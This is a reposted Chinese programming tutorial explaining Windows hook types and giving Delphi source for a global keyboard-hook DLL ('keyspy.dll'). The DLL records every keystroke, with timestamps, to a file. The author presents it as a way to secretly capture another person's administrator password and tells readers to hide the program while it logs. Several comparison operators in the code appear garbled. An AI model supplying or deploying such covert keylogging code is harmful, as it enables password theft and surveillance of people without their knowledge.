使用HOOK随心监视Windows

2016-02-19 18:49 40 1 收藏

关注图老师设计创意栏目可以让大家能更好的了解电脑,知道有关于电脑的更多有趣教程,今天给大家分享使用HOOK随心监视Windows教程,希望对大家能有一点小小的帮助。

【 tulaoshi.com - 编程语言 】

 

  每个程序都有自己的生存空间,在Windows系统中你可以在任何时候让你的程序执行一些操作,还可以触发消息,触发的消息分为三种,一是操作你程序的界面,onClick,onMouseMove等等,另外一个可以使用Windows的消息机制来捕获一些系统消息,但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了,虽然还有其他方法,但不得不承认,HOOK是一个比较简单解决问题的途径。
  
  Windows提供了Hook机制,定义为
  A callback function provided by an application that receives certain data before the normal recipient of the data. The hook function can thus examine or modify the data before passing it on.
  
  可以使用诸多Hook的方式,一下列举一些常用的参数,这些在WINDWOS API帮助中都有:
  

CALLWNDPROC ,CALLWNDPROCRET :
  The WH_CALLWNDPROC and WH_CALLWNDPROCRET hooks enable you to monitor messages sent to window procedures by the SendMessage function. Windows calls a WH_CALLWNDPROC hook procedure before passing the message to the receiving window procedure, and calls the WH_CALLWNDPROCRET hook procedure after the window procedure has processed the message.
  
  CBT:
  

Windows calls a WH_CBT hook procedure before activating, creating, destroying, minimizing, maximizing, moving, or sizing a window; before completing a system command; before removing a mouse or keyboard event from the system message queue; before setting the input focus; or before synchronizing with the system message queue. The value the hook procedure returns determines whether Windows allows or prevents one of these operations. The WH_CBT hook is intended primarily for computer-based training (CBT) applications.


  

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/bianchengyuyan/)

  KEYBOARD:
  he WH_KEYBOARD hook enables an application to monitor message traffic for WM_KEYDOWN and WM_KEYUP messages about to be returned by the GetMessage or PeekMessage function. You can use the WH_KEYBOARD hook to monitor keyboard input posted to a message queue.
  
  下面就来举个例子(使用Delphi7.0调试通过):
  如果你需要访问某个人的机器,那在运行SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记录所有的键盘操作呢?
  
  首先需要申明一点,Hook不同于一般的应用程序,需要作为一个全局DLL出现,否则无法在你程序不激活的状态捕获其他信息的,(当然你可以用Windows消息,这个问题不在这里讨论)。
  
  写个DLL定义一下函数
  function setkeyhook:bool;export;
  function endkeyhook:bool;export;
  procedure keyhookexit;far;
  procedure SetMainHandle(Handle: HWND); export;forward;
  function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
  
  
  procedure EntryPointProc(Reason: Integer);
  const
      hMapObject: THandle = 0;
  begin
      case reason of
          DLL_PROCESS_ATTACH:
              begin
              hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), '_CBT');
              rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);
              end;

          DLL_PROCESS_DETACH:
              begin
                  try
                    UnMapViewOfFile(rHookRec);
                    CloseHandle(hMapObject);
                  except
                  end;
              end;
      end;
  end;
  
  procedure keyhookexit;far;
  begin
    if hNexthookproc0 then endkeyhook;
    exitproc:=procsaveexit;
  end;
  
  function endkeyhook:bool;export;
  begin
    if hNexthookproc0 then
    begin
      unhookwindowshookex(hNexthookproc);
      hNexthookproc:=0;
      messagebeep(0);
    end;
    result:=hNexthookproc=0;
   MainHandle:=0;
  end;
  
  
  function Setkeyhook:bool;export;
  begin
    hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);
    result:=hNexthookproc0;
  end;
  
  function keyboardhookhandler(icode:integer;wparam:wparam;
    lparam:lparam):lresult;stdcall;export;
  var
    s:Tstringlist;
  begin

    if icode0 then
    begin
      result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);
      exit;
    end;
    if lparam0 then
    begin
      exit;
    end;
    s:=TStringlist.Create;
    if FileExists(afilename) then
      s.LoadFromFile(afilename);
  

  //将敲打的键盘字符保存到文件中 
  s.Add(formatdatetime('YYYYMMDD hh:nn:ss:zzz:  ',now) + char(wParam) );
    s.SaveToFile(afilename);
    s.Free;
   
    result:=0;
  end;
  
  Dll的Project文件中定义如下
  exports
    setkeyhook index 1,
    endkeyhook index 2,
    SetMainHandle index 3;

   

  begin    

    hNexthookproc:=0;
    procsaveexit:=exitproc;
      DllProc := @EntryPointProc;
      EntryPointProc(DLL_PROCESS_ATTACH);
  end.
  
  这样DLL就定义好了,接下来就是画个界面
  function setkeyhook:bool;external 'keyspy.dll';
  function endkeyhook:bool;external 'keyspy.dll';
  procedure SetMainHandle(Handle: HWND); external 'keyspy.dll';
  //开始捕获键盘
  
    SetMainHandle(handle);
   setkeyhook
  //中止捕获键盘
     endkeyhook
  
  然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:这些代码是临时写的,仅是为了说明如何写个hook程序。
  
  另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windows API来配合,通过很多技巧作出让人意想不到的效果。
  

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/bianchengyuyan/)

来源:https://www.tulaoshi.com/n/20160219/1619103.html

延伸阅读
介绍 DBA和开发者都喜欢索引。它们可以加速查询搜索,特别是在一个数据仓库的环境中,因为这时数据库会接收到许多ad-hoc请求。要避免全表搜索,我们一般在每个可能被搜索的列中建立索引。不过索引会占用许多的表空间;在许多的情况下,索引比被索引的表消耗更多的存储空间。在插入和删除行的时候,索引还会引入额外的开销...
钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。 关于Hook的详细介绍,在微软的MSDN中有,http://www.microsoft.com/china/community/program/...
========================================= package myprojects.jmemorydemo; import javax.swing.UIManager; import java.awt.*; public class JMemoryDemo { private boolean packFrame = false; public JMemoryDemo() { MainFrame frame = new MainFrame(); if (packFrame) { frame.pack(); } else { frame.validate(); } Dimens...
标签: 电脑入门
MAC自带有许多实用的小工具,活动监视器便是其中的一种。它不仅可以帮助用户们结束一些进程,查看用量等,还可以Dock栏中以图标的形式直接显示系统用量。现在就一起来看看具体的操作方法吧。 操作方法: 1. 首先打开[活动监视器] 2. 然后在Dock中的图标上,使用鼠标右键点击图标,选择Dock图标下面的分类,就可以根据自己的需要让图...
监视程序,这个名字听起来似乎很生疏。它的用途主要是在后台监视系统中要害信息的改变,比如注册表的改变及硬盘上由于文件操作引起的改变等等。 也许有人会问了,编制这样的程序有什么价值呢?硬盘上文件改变了,我只要在资源治理器里点一点不就全都清楚了吗?问题当然不会这样简单,如今大家的硬盘都已经用G来做单位了,一块4.3G...

经验教程

725

收藏

28
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部